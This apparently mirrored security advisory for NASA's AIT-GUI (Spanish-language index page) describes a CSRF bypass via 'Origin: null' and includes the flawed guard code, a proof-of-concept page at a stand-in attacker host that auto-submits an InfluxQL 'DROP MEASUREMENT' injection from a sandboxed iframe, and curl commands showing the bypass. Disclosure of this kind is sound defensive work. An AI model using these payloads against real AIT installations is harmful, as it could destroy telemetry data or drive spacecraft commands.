GHSA-4PV4-JMFM-PHRW
CSRF bypass via Origin: null
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-4PV4-JMFM-PHRW divulgada · CVSS 8.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The anti-CSRF control added to fix GHSA-p9r8-2q67-fp86
(`_enforce_same_origin`, an `@App.hook("before_request")`) can be bypassed by
any web page an operator visits. The check only rejects a state-changing
request when the parsed *netloc* of the `Origin`/`Referer` header is non-empty
and differs from `Host`. Browsers legitimately send `Origin: null` for
requests originating from a sandboxed iframe, a `data:`/`blob:` document, or
certain cross-origin redirects. `urllib.parse.urlsplit("null").netloc` is the
empty string, so the guard treats such requests as same-origin and lets them
through. The result is that the unauthenticated cross-site request forgery
attack the patch was meant to close is re-enabled — an attacker-controlled page
can silently drive the AIT GUI REST API (telemetry playback queries, telemetry
CSV export, command validation, and, where the session cookie is delivered,
command / script / sequence execution) against an operator’s workstation.
Patch
v2.5.3
Fix Details
- Improved Cookie Security (ait/gui/init.py:176-185)
- Added httponly=True to session cookies to prevent JavaScript access and mitigate XSS-based session theft
- Added samesite="strict" to prevent cross-site cookie delivery and mitigate CSRF attacks
- Strengthened Origin Validation (ait/gui/init.py:329-340)
- Rejects "null" origin: Browsers send Origin: null for sandboxed iframes, data: URIs, and certain cross-origin redirects, which previously bypassed validation.
- Rejects missing host: Additional check to prevent empty netloc from bypassing validation
- Rejects non-HTTP(S) schemes: Blocks file://, data:, and other non-standard schemes that could be used for CSRF attacks
Vunerability Details
The guard, `ait/gui/__init__.py:287`:
@App.hook("before_request")
def _enforce_same_origin():
if bottle.request.method not in _STATE_CHANGING_METHODS:
return
host = bottle.request.get_header("Host")
source = bottle.request.get_header("Origin")
if not source:
source = bottle.request.get_header("Referer")
# No Origin/Referer means the request did not originate from a browsing
# context ... allow it.
if not source:
return
source_host = urllib.parse.urlsplit(source).netloc
if source_host and host and source_host != host:
bottle.abort(403, "Cross-origin request rejected")The rejection only fires when `source_host` is truthy. For several
attacker-reachable browsing contexts the `Origin` header is the literal string
`null`, whose netloc is empty:
>>> import urllib.parse
>>> urllib.parse.urlsplit("null").netloc
''
>>> urllib.parse.urlsplit("file:///etc/passwd").netloc
''
>>> urllib.parse.urlsplit("data:text/html,x").netloc
''With `source_host == ""`, the condition `source_host and host and
source_host != host` is `False`, so the request is allowed. A browser
emits `Origin: null` for, among others:
- a form/`fetch` submitted from a sandboxed iframe
- a document loaded from a `data:` URL;
- some cross-origin → cross-origin redirect chains.
An attacker only needs the victim (an AIT operator, who by design is
unauthenticated — a session cookie is minted automatically on `GET /`, there
is no login) to open a malicious web page. The page hosts a sandboxed iframe
that auto-submits a form to the operator’s local AIT GUI. The browser attaches
`Origin: null`, the guard passes, and the request is processed.
Secondary bypasses of the same guard:
- Missing headers. If neither `Origin` nor `Referer` is present the guard
- Non-HTTP schemes (`file://`, `data:`) also yield an empty netloc as
The guard also never compares the URL *scheme* and does not distinguish a
missing `Host`, but the `Origin: null` path above is sufficient on its own.
Because AIT GUI has no authentication of its own (`Sessions.current()` merely
requires the auto-issued `sid` cookie, `ait/gui/__init__.py:163`), the
Origin/Referer check is the *only* barrier protecting state-changing endpoints
from cross-site abuse. Several state-changing endpoints do not even consult the
session cookie, so the CSRF bypass reaches them unconditionally:
| Endpoint | Method | Session required | CSRF-simple-request reachable | Effect once CSRF is bypassed |
|---|---|---|---|---|
| `/playback/query` | POST (form) | no | yes | InfluxQL injection |
| `/tlm/query` | POST (form) | no | yes | Walk arbitrary local dirs for `*.pcap`, run `ait-tlm-csv` with attacker-controlled args, export CSV |
| `/cmd/validate` | POST (form) | no | yes | Command dictionary probing / log spoofing |
| `/messages` | POST | no | (needs JSON body) | Log injection / call arbitrary `ait.core.log` attribute via `severity` |
| `/cmd` | POST (form) | yes (`sid`) | yes | Send arbitrary spacecraft commands |
| `/seq` | POST (form) | yes (`sid`) | yes | Execute a sequence file (`ait-seq-send`) |
| `/script/run` | POST (form) | yes (`sid`) | yes | Execute a Python script from `ScriptRoot` |
For the `sid`-gated rows the impact additionally depends on the browser
delivering the `sid` cookie with the cross-site request. The code sets the
cookie with no `SameSite`, `Secure`, or `HttpOnly` attributes
(`ait/gui/__init__.py:176`: `bottle.response.set_cookie("sid", session.id)`),
so it explicitly relies on the (now-bypassed) `Origin` check rather than on
cookie scoping. Under current browser defaults (`SameSite=Lax`) the cookie is
withheld from cross-site POST, which incidentally protects those three rows;
this is a browser default the application does not set and must not be
relied upon (older browsers, `SameSite=None`, or the Lax+POST grace window
re-open full command execution). The no-session rows above — including the
InfluxQL injection — are exploitable regardless.
PoC
Assumes the operator is running AIT GUI on `http://localhost:8080` (default
`host`/`port` in `AITGUIPlugin.init`) and has a browser open. The operator
visits an attacker page containing:
<!-- attacker.example/csrf.html -->
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,
<form id=f method=POST action='http://localhost:8080/playback/query'>
<input name=packet value='1553_HS_Packet'>
<input name=startTime value="2020-01-01T00:00:00Z' ; DROP MEASUREMENT "1553_HS_Packet" ; --">
<input name=endTime value='2020-01-02T00:00:00Z'>
</form>
<script>document.getElementById('f').submit()</script>
"></iframe>When the sandboxed iframe submits, the browser sends:
POST /playback/query HTTP/1.1
Host: localhost:8080
Origin: null
Content-Type: application/x-www-form-urlencoded
packet=1553_HS_Packet&startTime=...&endTime=...`_enforce_same_origin` computes `source_host = ""` and allows the request; the
form values reach `handle_playback_query_post` and are concatenated into the
InfluxQL statement. The same technique with `action=".../cmd"` and
`command=<real command>` drives commanding wherever the `sid` cookie is
delivered.
Minimal reproduction of just the guard bypass (no browser needed):
# Rejected (cross-origin, correct):
curl -s -o /dev/null -w '%{http_code}\n' -X POST \
-H 'Origin: http://evil.example' \
--data 'command=NOOP' http://localhost:8080/cmd/validate # 403
# Allowed (guard bypassed):
curl -s -o /dev/null -w '%{http_code}\n' -X POST \
-H 'Origin: null' \
--data 'command=NOOP' http://localhost:8080/cmd/validate # 200/400, NOT 403Impact
CSRF (CWE-352) — the primary security control (`_enforce_same_origin`) for a
system that has no other authentication. Any web page an AIT operator opens can
issue state-changing requests to the local AIT GUI: at minimum inject InfluxQL
into the historian, drive telemetry CSV export over arbitrary local
directories, and — where the auto-issued session cookie accompanies the request
— **validate/send spacecraft commands and execute server-side sequences and
Python scripts**. This is the same unauthenticated-cross-site-execution class
that GHSA-p9r8-2q67-fp86 intended to fix; the patch is incomplete.
Remediation
- Treat an absent, empty, `null`, or non-`http(s)` `Origin` on a
- Do not fall back to allowing when both `Origin` and `Referer` are missing for
- Add a real anti-CSRF token (double-submit / synchronizer) and/or set the
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
PyPIait-gui |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-4pv4-jmfm-phrwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
